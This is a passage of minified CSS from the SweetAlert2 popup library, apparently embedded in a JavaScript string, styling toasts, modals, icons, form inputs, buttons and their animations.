[class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:.3125em;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0 1.6em}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#3085d6 transparent #3085d6 transparent}.swal2-styled{margin:.3125em;padding:.625em 2em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#3085d6;color:#fff;font-size:1.0625em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dd6b55;color:#fff;font-size:1.0625em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#aaa;color:#fff;font-size:1.0625em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:.3125em;border-bottom-left-radius:.3125em}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:0;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 3px #c4e6f5}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::-ms-input-placeholder,.swal2-input::-ms-input-placeholder,.swal2-textarea::-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{margin:0 .4em}.swal2-validation-message{display:none;align-items:center;justify-content:center;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:\"!\";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{align-items:center;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;width:2em;height:2em;border-radius:2em;background:#3085d6;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#3085d6}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;width:2.5em;height:.4em;margin:0 -1px;background:#3085d6}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-moz-document url-prefix(){.swal2-close:focus{outline:2px solid rgba(50,100,150,.4)}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}body.swal2-toast-column .swal2-toast{flex-direction:column;align-items:stretch}body.swal2-toast-column .swal2-toast .swal2-actions{flex:1;align-self:stretch;height:2.2em;margin-top:.3125em}body.swal2-toast-column .swal2-toast .swal2-loading{justify-content:center}body.swal2-toast-column .swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}body.swal2-toast-column .swal2-toast .swal2-validation-message{font-size:1em}");